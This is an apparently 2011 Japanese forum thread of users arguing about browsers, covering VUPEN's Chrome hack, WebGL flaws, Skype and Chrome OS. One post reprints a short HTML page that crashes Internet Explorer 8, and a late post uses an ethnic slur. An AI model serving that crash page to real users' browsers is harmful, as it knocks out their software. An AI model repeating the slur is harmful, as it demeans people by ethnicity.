http://www.vupen.com/demos/VUPEN_Pwning_Chrome.php

While Chrome has one of the most secure sandboxes and
has always survived the Pwn2Own contest during the last three years,
we have now uncovered a reliable way to execute arbitrary code
on any installation of Chrome despite its sandbox, ASLR and DEP.

３年間、Pwn2Ownコンテストで、生き残った最もセキュアなブラウザだったんだけど、
今回ハッキングに成功したことで、大きな話題には出来ただろうねぇ。

ただ、まだたまにバグは発見されているよね。Chrome11が出た時も、
いくつかあって、それを発見した人に賞金あげてた気がする。

Opera最強伝説だとは思うけど、 Opera も Pwn2Own コンテストに参加すればいいのに。

>>834
たしか、XP の時は IE なしバージョンも海外で出たんだよな。
確かにIEはレジストリいっぱい使うし、汚れるだけ汚れるし、
再起動も必要だし、IEコンポーネントに依存している MS 製品多いし。
IE9アンインストールしたらIE8 に戻って、またIE8をアンインストールする
という手順を踏まなければならないし。
ゴミは最初からインストールされていないほうがいいから、俺も賛成。

WMP なしバージョンは 7 でも出てるよね。
WMP はまだ使える場面があるからいいけど。

>>839
そのIE無しバージョンのXPってさ、最初のブラウザを手に入れるときどうしてたの？

またGoogleがドロボウしてるのか
おまえのものはオレのもの企業

[Google I/O]レコード会社の承認なくGoogleが音楽サービスを
立ち上げ–またまたAppleに負けそうだ
http://jp.techcrunch.com/archives/20110509without-the-labels-googles-music-locker-will-look-like-apples-ugly-sibling-again/

>>835
同じアホなら便利なほう使うってか
ってあれ？　オペラ？　何言ってんだおまえ

Google と Facebook、Skypeとの提携をめぐって対決か
ttp://japanese.engadget.com/2011/05/05/google-facebook-skype/

　↓

米マイクロソフトが近く70億ドルでスカイプ買収=関係筋
ttp://jp.wsj.com/Business-Companies/node_233878

米ＭＳがスカイプ買収で合意に近づく、債務含め85億ドル＝関係筋
ttp://jp.reuters.com/article/topNews/idJPJAPAN-21002520110510

GoogleとFacebookが綱引きをしている間に
Microsoftに持っていかれたでござる

ttp://japan.cnet.com/news/service/35002505/
WebGLの仕様に脆弱性
WebGLがどうこう言ってた奴って本当に馬鹿だったな

クロムとＩＥ９同じように使ってie9がクロムより速いと感じる動体視力音痴はまずいないだろ。
ie９とファイアフォクス４は起動以外は差を感じる事はないけど
ie9はインターフェイスが超シンプルだから軽さは感じるかもね（錯覚）

スピード
クロム≧ＩＥ９＝ファイアフォクス

Firefoxと自分の関係を見直す - outsider reflex
http://piro.sakura.ne.jp/latest/blosxom/topics/2011-05-07_firefox-and-me.htm

May 07, 2011

Twitterとかでポロポロこぼしてるのをまとめておきたいと思ったのでまとめることにした。要点だけ先に書いておくと、以下の3点。

Firefoxが世の中に受け入れられてたのは、オープンソースだからでもWeb標準だからでもなく、
単純に「無料で手に入り、必要十分な機能を持ってて、ヘビーユーザの使用にも耐えるポテンシャルを持った、良いアプリケーションソフトウェア」だったから。

その点において世の中の関心は既にGoogle Chromeに移っている。

今でもFirefoxにこだわってる人は、おそらく時代を読めてない（でも敢えてそうしてる所が多分ある）。

何度も書いてる話をまた繰り返すんだけど。

僕がMozillaに肩入れしだしたのは、僕がW3C信者で、Geckoエンジンが当時一番マシなCSS2の実装を持ってた（ように僕には思えた）からだった。
ポジショニングがちゃんと仕様通りにできて、疑似要素とかも使えて、スタイルシートWebデザインで語られていた「あるべきWeb」を実現してくれる物だ、という風に僕は思ってた。

そのうち僕はMozillaの拡張機能開発にのめり込んでいったんだけれども、
のめり込む中で「Web標準は世間知らずの学生やら学者やらが語るだけのオモチャで非現実的な絵空事、なんかでは決してないという事を証明したい」
「プラットフォームを選ばずWeb標準技術でアプリケーションソフトウェアを作れるという事そのものが、その証明になる」という思いをだんだんと強めていった気がする。
その後でUIがどうとか色々加わったものも有るんだけど、発端にあって且つ今もある核の1つであることは間違いないと思う。

そうこうするうちにオープンソースというキーワードから就職が決まり、「オープンソース素晴らしい！」的な言説にそれまでよりも沢山触れるようになった。
Mozillaも、「Firefoxはオープンソースだから多数の目によって監視されていて品質が高い」とかのアピールをよくしてた。
Firefoxのシェアがちょっとずつ増えていって、「オープンソース素晴らしい！」「コミュニティ素晴らしい！」「バザール！」「カスタマイズ性が高いのって素晴らしい！」
的な言説にもさらに多く触れるようになった気がするし、自分でもそういう事を言うようになった気がする。

　Web標準技術に基づいているという事。
　　仕様が特定のプラットフォームの習わしに囚われていない。無色透明である。
　　Webの礎を作った人達のお墨付きである。

　オープンソースで、全てのコードを見られるという事。
　　トラブルの原因をとことん調べられる（根気さえあれば）。
　　既存のコードを参考に派生物を作れる。誰にも気兼ねせず、恐怖に怯える事もなく、安心して成果物を公開できるし他人の成果物も取り込める。
　　誰でも関われる。コードを書くだけでなく、検証したりバグを立てたりドキュメントを整備したりといった、自分にできる形でプロジェクトに参与できる。

　カスタマイズ性が高い事。
　　使っていて不満に思う所があれば、かなりの程度自由に挙動を変えられる。
　　愛用の道具に少しずつ手を加えていく、秘密基地を少しずつ整備していく感覚で、居心地の良い空間を作っていける。

こういうものがMozillaの、Firefoxの価値だと僕は思うようになっていた。

Mozillaの拡張機能を開発する中で僕は、それなりの評価を世間から得る事ができた。
Firefoxが世の中で受け入れられていく中で、僕の成果も評価されていった。
W3C信者でCSSコミューンで啓蒙啓蒙と息巻いていた頃に抱いた「どうしてこんな素晴らしい物を皆分かってくれないんだ」という鬱屈、
運動ができず特段勉強ができるわけでも人気者でもない自分がメインストリームの人達を横目に休み時間机に俯せていた時に感じていたやるせなさ、
朝礼での表彰だとかトロフィーだとか優勝旗だとかに憧れながら無縁のままだった口惜しさ、そういった物から僕は解放されたような気がしていた。

僕は、僕を救ってくれたモノの事を、僕自身の存在意義をも仮託して支持するようになっていたのだと思う。

ただ、世間がFirefoxを評価していた最大の理由は、そういう事とは全く別の所にあったんだな。

世間が評価したのはあくまで、Ben GoodgerやDavid Hyattといった人達が「こういうブラウザがあったら使いやすくて便利なのに」と思って
スカンクワークス的にユーザ視点で作ったアプリケーションソフトウェアとしてのPhoenix、そしてその血を引くFirefoxだった。これは多分間違いない。

オープンソースだとかWeb標準だとかは、ある意味ではオマケの要素に過ぎなくて、ある意味では「今時そうであって当たり前だろ？」っていうレベルの話でしかない。
カスタマイズ性だって、別にFirefoxのやり方でなきゃいけなかったなんて事は全然無くて、
というかFirefoxのやり方（不安定且つドキュメント不在のAPIの山で、全てが個々人のアドオン開発者に丸投げ）なんて下策もいいとこで、
結果的に「フツーの人」や「ヘビーユーザ」が欲しい機能が手に入るのであれば、
それは安定したAPIと開発を支援する仕組みによって実現されるものであっても何ら問題ないどころか、そうであった方がユーザのためにも良い。

「必要なのはこの機能だ」「こんな機能は不要だ」といった判断を下して方針を定めて1つのビジョンの元に形作られたからこそ、
Firefoxには「使いやすくて便利だ」という分かりやすいメッセージが備わって、小難しい事になんか興味の無い普通の人にも受け入れてもらえてたんだと思う。

つまり、こういう事だ。「オープンソースでWeb標準」なMozillaが元々そこにあった。
その中から「便利なアプリ」のPhoenixそしてFirefoxが産まれてきて、その「便利なアプリ」に惹かれていろんな人が寄ってきた。
でもそのうちに「便利なアプリ」を作った中心人物達はMozillaを去って、AppleやらGoogleやらに行ってしまった。
そして彼らはそこでまた別の「便利なアプリ」を作り始めた。今またその「便利なアプリ」が新たにいろんな人の関心を集めている一方で、
「便利なアプリ」を産んだ中心人物達がいなくなったMozillaにはFirefoxには、多くの人の関心を集める材料たり得ない「オープンソースでWeb標準」という部分だけが残された。

「今まで使ってたFirefoxの新しいバージョンが入ったから使ってみたけど、重くてヤダ。これだったらGoogle Chromeっていうの？　こっちの方がいいや。」
カジュアルにFirefoxを使い始めた人は、こうしてカジュアルにFirefoxから去って行っている。
今Firefoxについて行っているのは、その残された部分に元から惹かれていた僕のような酔狂な人間と、
Firefoxやそのアドオン（特にTab Mix Plusあたり）にロックインされて他に移れなくなってしまったドン詰まりの人間だけだったりするんじゃないのか。

さらに言うなら、前述した通りオープンソースもWeb標準もカスタマイズ性も今となっては「どのプレイヤーも備えていて当たり前の、最低限の要素」となっているのだとすれば、
Firefoxに残された部分にすら何ら特別な独自性は無いという事にはならないか？

他のプレイヤーが持ち得ない全く独自のカラー、進むべき道を指し示す分かりやすい「方針」「指針」を持てないと、Firefoxの衰退のスピードは加速する一方なのではないか。

Ben GoodgerらがPhoenixをスリムに作れたのは、彼らに「こういうものを作りたい」という思いがあったからというだけでなく、
スカンクワークスとして余計な横やりに晒される事無く初期の開発を進める事ができたからではないだろうか。
まだ世の中のどこにも無いまだ見ぬ「より良い物」を求めて最先端をひた走っていたからこそ、そういう事ができていたのではないか？
10年来の「Mozillaユーザ」といったしがらみに囚われて、船頭多くして船山に登りまくりになっているようにも見えるFirefoxが、
他の模倣・後追いではない独自の「最先端」を切り開いていく事は可能なのだろうか？

FirefoxボタンやApp Tabやステータスパネルといった新機能の導入は、OperaやChromeといった競合製品の猿真似に過ぎなかったりはしないか？
Microsummariesやプロファイルマネージャの廃止は、「アンケート調査の結果」という一見するともっともらしい数字を楯にした思考停止だったりはしないか？
受け身に徹していたりはしないか？　そこにビジョンはあるのか？　一本筋の通ったストーリーはちゃんとあるのか？

……というかそもそもの話として、「進むべき方向が分からない。プロジェクトが生き残るために、進むべき道を定めなければ。」
なんて考え方をしてるなら、その時点でもう終わっちゃってるとも思う。
進みたい道があるから進む、その道を進むためにプロジェクトを立てる、それが当たり前のあり方だ。
組織の自己保全が目的となった組織の末路なんて、今更語るまでも無い。プロジェクトの自己保全が目的となったプロジェクトだなんて、一体何の冗談か。
プロジェクトとしての役割を果たし終えたのであれば、プロジェクトは解散しないといけない。

Netscapeのための「無償労働力集めの場」ではなくなったMozillaプロジェクトの目的は、一体何なのか。
その目的はまだ達成されきってなどいなくて、今も果たし続けなければならない物なのか。
The Mozilla Manifestoが「何かを言っているようで実は何も言っていない」言い訳などではないなら、ここから演繹される物がFirefoxの進む道なのだろう。

その道に、僕はどのように関われるのか。あるいは、どのように関われないのか。
もうすぐ三十路に突入する僕は、個人的な承認欲求が満たされるかどうかといった話に留まらず、仕事上での関わりも含めて、
いいかげん真面目に考えないといけないという気がしている。

>>845　自分のPC環境がすべてと感じる錯覚に気付こうな

全文転載とか馬鹿のやること。

>>843
それ、微妙じゃね？

＞一方、スカイプは、期待度の高さのわりに業績はあまり芳しくない。
＞2003年の創業以来8年間ほとんど純利益を出していない。
＞世界中にビジネスを拡大しており、全体的な利益は依然把握しづらい状況だ。
＞昨年の業績は、売上高は8億6000万ドル、営業利益は2億6400万ドルとなったものの、
＞700万ドルの純損失を計上している。
＞また昨年末時点の長期債務は6億8600万ドルとなっている。

このスカイプを、70億というちょっと高めの値段で買収しようとしたんだろ？
成功と呼ぶべきかどうか・・・

>>808にも愕然としたけど、これ知った時も失笑したよ…
これは不完全というより無意味
WCSなんか形骸で、やってる事がXPの頃と全く同じ

Internet Explorer9のカラマネは不完全ですよ
ttp://pixiv.cc/yam/archives/3718052.html

>>845
GPU支援効いてるIE9の方が全然速いけど・・・
メインはChromeからIE9に乗り換えた。

>>857
俺は逆に、 IE8 から IE9 に順当にアップデートしようと思ったが、
表示が変になるサイトが結構あったのと、
公平に思えるベンチマーク ttp://clients.futuremark.com/peacekeeper/index.action
で速度測ってみたらChrome の圧勝だったので、Chrome に乗り換えた。
実際、使ってみた体感速度でも Chrome の方がキビキビしてる感じがする。

IE 9 も別にそこまで悪くはなかったんだけど、機能拡張が面倒
（マウスジェスチャーやノートPC等との同期等）なのと、
プラグイン入れるととたんに重くなって、IE8 と大差ない感じだった。

MS は日本人感情なんて全く考えてないな。

東芝、ビル・ゲイツ氏と次世代原子炉開発を検討（進行波炉）
http://www.afpbb.com/article/economy/2712240/5528408

Chromeの砂箱突破とかいよいよChrome価値なくなってきたな
速さ重視ならFirefox6でいいし

出せるFPSが段違いだからな、IE9は

まあ、バージョン間非互換は相変わらずの御家芸だけど

>>855
これは面白いことになるかもしれないよ。
買収額の問題ではなくて買収した事によって今後スカイプを含めたMS系コミュニティがどうかわっていくのかってあたりがね。
・MSは、WindowsLiveというコミュニティをすでに持っていて、昨年、大規模アップデートを行っている。
・昨年末よりWindowsLiveのブログ機能、ブログ最大手のWordpressへ移行させている。WindowsLive上からより密接なサービスとしてWordpressを使えるようになった。
・FacebookとHotmail（WindowsLive）が公式に連携する事が発表される。これによって他社のFacebookとの連携より高いサービスができるようになる。
・そして今回のスカイプの買収。

ネット上の主要なコミュニティは全てマイクロソフトのサービスとつながるようになる。
これで、スカイプ、Facebook、Wordpressといったサービスの横のつながりも一層強くなるんじゃないかな。
もしかしたら、今後、Windowsの標準サービスとして、これらのコミュニティと密接に連携する機能が搭載されるんじゃないのかな。

Googleも同じ事がやりたくてしょうがない感じだよね。
いろいろ作ってはサービス停止を繰り返してるのを見る限り。

そんなわけで、IEは、WindowsLiveのアカウントをアシストする機能もあるし
おすすめかもね

Google Chrome終了のお知らせ
http://hato.2ch.net/test/read.cgi/morningcoffee/1305023650/

6 ：名無し募集中。。。 ：2011/05/10(火) 19:38:10.74 0
フランスのセキュリティ企業VUPENは9日、GoogleのChromeブラウザのハッキングに成功したと発表した。
http://www.youtube.com/watch?v=c8cQ0yU89sk
リモートでアプリが実行されてる
恐すぎ

>>864
やっぱりクラックできないブラウザなんて存在しないんだな

そりゃ当然のこと
Pwn2Ownに出てた人のインタビューでも「iPhoneとかの方が簡単だから狙わないけど、Chromeもクラックできるよ」って言ってたし

Chromeがキビキビしてるって言ってる人の殆どはXPユーザーかな？
確かに起動は速いけど
IE9やFirefox4の方がブラウジング時の表示が速い

情弱一本釣りブラウザGoogle Chromeへようこそ

ま、確かに情弱にはとりあえず
Chrome使っとけって勧めてるわな
面倒臭いから

>>867
◆Chromeはページを全体的に展開するタイプなので
負荷による処理の衝突が集中的に起こって重くなる。
ウインドウ外で見えない部分は多少間引きさせるべき。

>>867
IE9は速いけどFireFoxはないわ
画像がたくさんあるページに来ると極端に遅くなる

Ｆx4にしてからやたらと反応なしになる
なんとかならんか
まぁホッファーでしか使わないんだが

>>869
それは正しいと思う
強制アップデートだから何も考えなくて良い
誰が使っても比較的セキュアになる

>>869
ああ、それはわかる
自動アップデートだしそういう意味では都合がいい

>>869
ああ、それはわかる
自動個人情報収集だしそういう意味ではお似合い

IE 信者って、すぐ頭に血がのぼるのなｗ
定期的に IE9 まとめ　を貼り付けると面白そうだ。

【IE9 の表示問題 - xhtml1.0 全般で問題が起こる。フォント指定すらバグ有り！？】
http://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html
【IE9 はカラーマネージメント対応！しかし、sRGBモニタ前提】
http://pixiv.cc/yam/archives/3718052.html
【（IE8に比べて）早くなった！（IE8 に比べて）軽くなった！でも他ブラウザに追いついただけのIE9 】
http://code.google.com/apis/v8/run.html
http://www2.webkit.org/perf/sunspider-0.9/sunspider.html
http://krakenbenchmark.mozilla.org/index.html
http://dromaeo.com/ （jQuery作者も作成。時間がかかるのに注意。）
【3DMark で有名な futuremarkの総合ベンチマーク。ブラウザ戦争の平和の門番。】
http://clients.futuremark.com/peacekeeper/index.action
【IE9 x64 終了のお知らせ】
http://antivirus.server-ing.com/2011/04/29/757/
【もちろん最新バージョンのIE9 でも危ないIE9。いつも通り過ぎるので、誰も気に止めません。】
http://news.idg.no/cw/art.cfm?id=B028CAD3-1A64-6A71-CEB94E33CBDA3B3A
【対応OSが最も少ないIE9, IE10はVistaも非対応!?】
IE9: Vista, 7; IE8: Xp, Vista, 7
Fx10, Firefox, Chrome, Opera: XP, Vista, 7, Mac, Linux
【期待のIE9 でも、IE現象の流れは変わらず】
http://gs.statcounter.com/#browser-ww-daily-20100501-20110501
【実は、既にヨーロッパでは唯一の自慢だったシェアが１位で無くなっている件】
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501
【Web標準規格への対応は・・・もちろん／(^o^)＼】
http://html5test.com/results.html
【Web標準規格に対応しない結果がコレ。表示されませんか？それはIEだからです。】
http://www.iquilezles.org/apps/shadertoy/
【Firefox や Chrome から移行したいのですが、○○のアドオン有りますか？】
そんな情弱の使うツールなど知らん。
IE9 :「俺と勝負するときは、Microsoftのサイトに来い！相手してやるよ！」

>>876
がんばってリンク貼ってドヤ顔ですかぁ？

>>869
完全に同意
Firefoxのバージョンが上がっても
無理やり古いアドオン使うレベルのやつにもだな

リスクを認識した上で使う分には問題ない

リスクって何？
情弱が調べもせずに聞いてくるとかか？
そんなもんしらねえから使えよ捗るぞって伝えておけよ

日本のChromeダウンロードページの絵が痛すぎるな・・・
他国のは胡散臭い文と絵が無くてスッキリしてるのに
あんなキモイ絵あるの日本だけｗｗ

ぬりかべが入らないブラウザなんて論外なんだよ
この時点でIE、Opera、Safariは消える

あのキモい絵はこんなうつろな目をした連中が使うブラウザってのを強調してるのかもしれないｗ
みんな目の焦点があってない

>>881
あれってまだ盛んに交流されてるの？

Chrome 速すぎだろ。
ttp://www.youtube.com/watch?v=nCgQDjiotG0&feature=player_embedded

884
ttp://www.youtube.com/watch?v=zaT7thTxyq8

>>883
個人的には今丁度良い交流具合
Firefox４がリリースされた時に、どっかのまとめサイトで
必須アドオンって紹介されて人が増えた

なーにがぬりかべだよ
ただの2ch依存症じゃねーか

>>887
うむ、サービス自体はよいんだが、2chを真似てしまったところが残念
もっと実用的なのがよかったんだが。

ぬりかべなんてどうでもいいだろ
Opera最強

ぬりかべはやってんのか
面白い人が集まってるんかなあ

IE9はアドオンが壊滅的過ぎる
最低でもchromeぐらいないと
本体のガジェットも少ないし

>>889
涙拭けよ

>>891
そもそもアドオンなんて必要ないから
なくちゃ困るもんでもないし

せめてマウスジェスチャーくらいは欲しいだろ
ないのIE9だけ

>>894
IE9でも使えるのあるよ。ちゃんとググってからレスしな。

どこにあんだよ
まさかかざぐるまうすとか言わないよな

マウスジェスチャー
広告排除ソフト
右クリックで複数エンジン使って検索
textlink
autocopy

凝ったもんはいらんから使い勝手を左右するソフトはどうしても外せない

chromeには全部ある

Fxにも全部ある

Fxは言うまでもない

ていうか、IE だと同期がめんどくさい。

FirefoxでWebページを保存すると和文の文章の途中で自動的に改行される。
改行は半角スペースとしてレンダリングされる。文章の品質が劣化する。
そんなことはOperaでは起きない。つまり、Opera最強伝説である。

Operaは最強過ぎて､なんだか怖いよ･･･

Operaが最強というか、信者が最強だな

Opera信者って、やっぱり時間や知識がない人がなるものだと思うな。

Firefoxが最強だということはみんな分かっているが、
正直どんなカスタマイズをすれば一番使いやすいのかもわからない。
その点Operaはデフォルトでもかなり整っている。効率がいい。

そんで特に自分にだけ必要なアドオンをFirefoxで使用する。

>>904
Firefox最強で ユーザが満足しているのであれば、
IE9 が発表された時に真っ先に飛びつくはずないだろ。
Opera は IE9 には振り向きもしなかったよ。

Opear最強。

FireFox使ってるやつは暇人なのは確かだな
バージョンアップごとにアドオン使えなくなってまた入れなおすとか
気が長くて暇人じゃなきゃやれないよ

>>905
IE9で流されたFirefoxユーザーなんて、雰囲気で使ってた奴だろ。
そんなアホウはどこにでもいるから仕方ないよ。最近は特にChromeが目に付くけどな。

Operaは説明書さえ読めば、カスタマイズしなくても、それなりに使わせてくれる。
時間がない人のためのブラウザ。俺の中ではそういう意味で最強。

>>907
http://gs.statcounter.com/#browser-JP-daily-20100501-20110501
コレ見れば、Firefox ユーザが一番影響を受けたのは明らか。

Opera は全く被害なし。Opera最強。

通常はFirefoxで
一部のブラゲはChromeで
FeliCaポート関連はIEで
著作権的な心配の薄い海外流通のエロ動画TorrentダウソはOperaで

【IT】Firefox 4、ブラウザシェアの10%を突破　日本での総ダウンロード数は300万越 [11/05/11]
http://toki.2ch.net/test/read.cgi/bizplus/1305127028/

Opera 擬人化（？）コンテスト…
http://orera.g.hatena.ne.jp/edvakf/20110426/1303853627
中華版おぺら娘が決定☆
http://orera.g.hatena.ne.jp/edvakf/20110506/1304685961

http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110507/20110507055822.jpg
http://cdn-ak.f.st-hatena.com/images/fotolife/e/edvakf/20110507/20110507055525.jpg
http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110427/20110427060220.png
http://f.hatena.ne.jp/images/fotolife/e/edvakf/20110507/20110507055122.jpg

「絶対領域」ってあっちでも絶対領域なんだな…

operaって良くも悪くも唯一無二だよな
なんか凄く独特なブラウザ

マウスジェスチャ初めて見て感動した時が懐かしい

>>911　おれは結構好きだな

Chrome派ですけどね

http://crashie8.com/
見れなかったらゴミブラウザ決定。

>>915
The following code will crash Internet Explorer. Although clearer proper HTML
would not cause this issue, such could should at worst result in a poorly
formatted page, not a full program crash.
****
<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}

#b {
width:100%;
}

</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>

よくわからんけどIEショボすぎるな。

さていつものURL。みんな見れるかな？
ttp://dino206.blog.hobidas.com/archives/category/1712.html

>>916
余裕で見れるな。@Chrome,Firefox,Opera,IE

>>917
あ、もしかして、ttp://dino206.blog.hobidas.com/archives/category/1712.html
って、autopatch系じゃなくて、単に長いとか？
で、IE で最後まで見れなかったり？ｗ

最後が2009年08月13日でOK？
46Mってｗ

Opera,IE6両方で見られた。

>>916
狐4は見ることが何とかできたが、Ironは強制終了したよｗ
アドオンもあまり入れてないんだがなぁ

お前らPCいじめて何が楽しいんだよ

クロム新しいタブのページがアプリの大きな可愛いアイコン並べられる斬新なデザインに変わったと思ったら今度はとうとうクロムos搭載PCが…
Googleさんが本気出して来た
windowsピーンチ！

スタンドアロンで作業できないものなんて遊びに使う以外の使い道なんてないよｗ

劣化Ubuntuごときでwin死ぬならとっくのとうに死んでるぞ

Googleが宣伝し、「サポートする」ことは大きい。
だが何度考えてみてもWebアプリが普及するとは思えんのだが…。

HDDが入って無いんだってクロムブック。斬新だなあ
確かに音楽クラウドサービスが始まればクロムとGoogleさん神webアプリ使えば一般人が利用するには大抵の事は出来てしまう。しかも速く
Googleさん恐るべし

　　　　　　r　‐､
　　　　　　| ○ | 　　　　　　　　r‐‐､
　　　　　_,;ﾄ - ｲ、　　　　　　∧l☆│∧ 　　　　良い子の諸君！
　　　 （⌒`　　　 ⌒ヽ　　　/,､,,ﾄ.-ｲ/,､ l 　
　　　　|ヽ 　 ~~⌒γ ⌒ ）　r'⌒　｀!´ `⌒） 　　　よく頭のおかしい技術者やデザイナー気取りのバカが
　　　│　ヽー ―'^ー-'　 （ ⌒γ ⌒~~　/　　　　「誰もやらなかった事に挑戦する」とほざくが
　　　│　　〉　　　 |│　　|｀ー^ｰ― r'　| 　　　　　大抵それは「先人が思いついたけどあえてやらなかった」ことだ。
　　　│　/───|　|　　|/　| 　l　　ﾄ､ | 　　　　　基礎が何故大切か理解できない人間にまともな商品は開発できないぞ！
　　　|　 irｰ-､ ｰ　,}　|　　　 / 　　　　i
　　　| /　　　｀X´　ヽ 　　 / 　 入　　|

>>926
早い回線があればな
日本国内でだってISDNでしか使えない地域は未だある
海外に出張で持って行こうものなら・・・
出張先によっては荷物にしかなりえない
仕事では使えないから遊び専用だな

>>928
そういう話じゃないんじゃないか。
Googleはオフラインアプリもブラウザでやればいいと思っている。
ネットに接続してなくてもGoogleDocsやGmailはブラウザ上で動く。
そしてネットに接続したときに通信をする。

そんな妙なものは仕事では使わんだろう
オモチャで終わるよ

実際に発売されてから半年〜一年経過すればわかるさ

通常アプリのコードはわからない。
一方Webアプリは、外のコードを読み込み実行する。
このコードは誰でも見れるので商品価値はない。

つまり、アプリ開発者たる者は、みんな秘密の鯖を用意する時代の到来ですか。
1アプリ1鯖　きもいなぁ

Chrome OSは、ローカルアプリ化も排したクラウドを目指していたのに
アプリケーション部分をローカルに保持するオフラインモードを作った。

結局、機能を犠牲にしてブラウザに閉じ込める事で、あらゆる人間に首輪を付ける術を手に入れてるだけ。
ちゃちなアプリがブラウザ上で動くという特徴以外、既存のOSから何ら次元に変化がない。
スッカラカンで身軽になった、らくらくOS。

人柱のレビュー次第だな
Windowｓの牙城を突き崩す威力があるとは思えないけど

クラウドは日本人の気質に合わないと思う

Facebookみたいな無防備なものは日本では普及しないからな
mixiですら飽きられてるし

「WebGL」にセキュリティ問題、規格自体の大規模な修正が必要に？ - スラッシュドット・ジャパン
ttp://slashdot.jp/security/article.pl?sid=11/05/12/0659251

やはりWebGLなんて糞規格に対応する必要はなかったな
ChromeとかFirefoxの開発者は欠陥規格も見抜けない奴らか

>>933
まあ、クラウド”専用”なんてオナニー以外の何物でも無いからな
オンプレミスとクラウドは補完関係にある
両方使えるOSでなければ生き残れない
そしてオンプレミスに強いOSは当然、クラウドも不自由なく扱える

最近いたるところで個人情報流出祭りやってんのにクラウドとか

震災でクラウド依存は危険だと感じた

どうも様子が現実とネットの評判じゃ違うのが怪しいんだよな
アメリカなんかではクラウド離れしていて
必要な時に必要なコンテンツを落としてなるべくオフラインで見る傾向なのにさ

>>937
ATI や NVidia , Intel の GPU 使ってれば特に問題ないぽい。
クロスドメインの画像を何時間もかけて盗めるかどうか、ってことだけ。

＜誰でも分かる、 IE9 まとめ＞
【IE9 の表示問題 - xhtml1.0 全般で問題が起こる。フォント指定すらバグ有り！？】
http://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html
【IE9 はカラーマネージメント対応！しかし、sRGBモニタ前提】
http://pixiv.cc/yam/archives/3718052.html
【（IE8に比べて）速くなった！（IE8 に比べて）軽くなった！でも他ブラウザに追いついただけのIE9 】
http://code.google.com/apis/v8/run.html
http://www2.webkit.org/perf/sunspider-0.9/sunspider.html
http://krakenbenchmark.mozilla.org/index.html
http://dromaeo.com/ （jQuery作者も作成。時間がかかるのに注意。）
【3DMark で有名な futuremarkの総合ベンチマーク。ブラウザ戦争の平和の門番。】
http://clients.futuremark.com/peacekeeper/index.action
【IE9 x64 終了のお知らせ】
http://antivirus.server-ing.com/2011/04/29/757/
【もちろん最新バージョンのIE9 でも危ないIE9。いつも通り過ぎるので、誰も気に止めません。】
http://news.idg.no/cw/art.cfm?id=B028CAD3-1A64-6A71-CEB94E33CBDA3B3A
【簡単にクラッシュします。しかし、いつも通りすぎるので、誰も気に止めません。】
http://crashie8.com/
【対応OSが最も少ないIE9, IE10はVistaも非対応!?】
IE9: Vista, 7; IE8: Xp, Vista, 7
Fx10, Firefox, Chrome, Opera: XP, Vista, 7, Mac, Linux
【期待のIE9 でも、IE減少の流れは変わらず】
http://gs.statcounter.com/#browser-ww-daily-20100501-20110501
【実は、既にヨーロッパでは唯一の自慢だったシェアが１位で無くなっている件】
http://gs.statcounter.com/#browser-eu-daily-20100501-20110501
【Web標準規格への対応は・・・もちろん／(^o^)＼】
http://html5test.com/results.html
【Web標準規格に対応しない結果がコレ。表示されませんか？それはIEだからです。】
http://www.iquilezles.org/apps/shadertoy/
【Firefox や Chrome から移行したいのですが、○○のアドオン有りますか？】
そんな情弱の使うツールなど知らん。
IE9 :「俺と勝負するときは、Microsoftのサイトに来い！相手してやるよ！」

>>942
Googleは世界最大のオンライン広告配信業者だからな

クロームだけ変になるCanvas描画ドラえもんって需要ある？

一昨日から、急にIE8が重くなったんだがナゼだろう
メンドーだからIE7に落とした・・・狐も使ってるけどね

XP SP3 + Q9650 + 9800GT + MEM4GB

>>937
よく考えたら about:flags で、
GPUアクセラレートが標準で切られてるから問題無いのかな？

>>948
GPUアクセラレータと、WebGL は別機能なので、関係ないよ。
だから、WebGL を Off にしないといけない。

ただし、見る限り気にするようなバグではないんだけどねぇ。
非常に特殊な条件が整わない限り、大した攻撃ができないのは確か。
また、既にセキュリティ対策が練られようとしているので、
もう少し待てば自然に対策が取られるかと。

WebGLの（実質的に）仕様上の脆弱性について(日本語訳)
ttp://d.hatena.ne.jp/atsushieno/20110511/p1

要はビデオカードメーカー泣かせの仕様ってことか

>>950
ま、そういう事だね。

ただ、DoSアタックについては、特に「何を今更」感が漂っていると思うよ。
そもそも WebGL を規格している団体 Khronos Group 自体が、前々から
こういうことが起こり得ることを言っていた。（そもそも、Context Information Security社
が引用している実証コードも、Khronos Group が 前々から出してたコードを引用しているだけ。
そもそも、GL_ARB_robustness自体、1年以上前にそれに対抗する仕様として
作られているわけだし。

そして、クロスドメイン image の取得についても、ちょっと前から言われていた問題。
ただ、実証コードは作られてなかったので、今回 Context Information Security 社が
出したってことでしょ。

Chromeって工作員みたいなのよくわくね
明らかに絶賛の仕方が気持ち悪い

>>952
IEの工作員はよく見るけど・・・。
例えばどいつなん？

IE厨＝アドオンの快適さを知らずに速い速いという情弱御用達ブラウザ
chrome厨＝お仕着せの仕様と若干のエクステンションで満足している自称情強御用達ブラウザ
Fx厨＝自分ではjsもcssもかけないのにググって自分がカスタマイズしたと勘違いしている自称情強御用達ブラウザ

こんなとこだろ
オペラは使ったことないからシラネ

元からあるのを手直しして使うのは駄目なのかｗ

Safari工作員はもっと元気出せよ

え？　じゃあ、Safariさいこー

http://hibari.2ch.net/test/read.cgi/software/1304575213/
今回まともに相手してやったら最終的に逃亡ｗチキン宣言するもブーメランで終了ｗ
真性のヘタレなので最後に現れ負け犬の遠吠えをして行った模様終了以外見てないけどｗ
firefoxスレを聖地（失笑）とかマヌケた事をほざくが守りきれず死亡のモノマネ朝鮮猿でしたｗ
召喚獣、ユニコーン（苦笑）が大好きな愚図エロゲ猿ですが俺からもどうかよろしくｗ

ソフト板でよくここまで争えるな

IE9のF12から使える開発者向け機能がかなり良いっす。
お試しあれ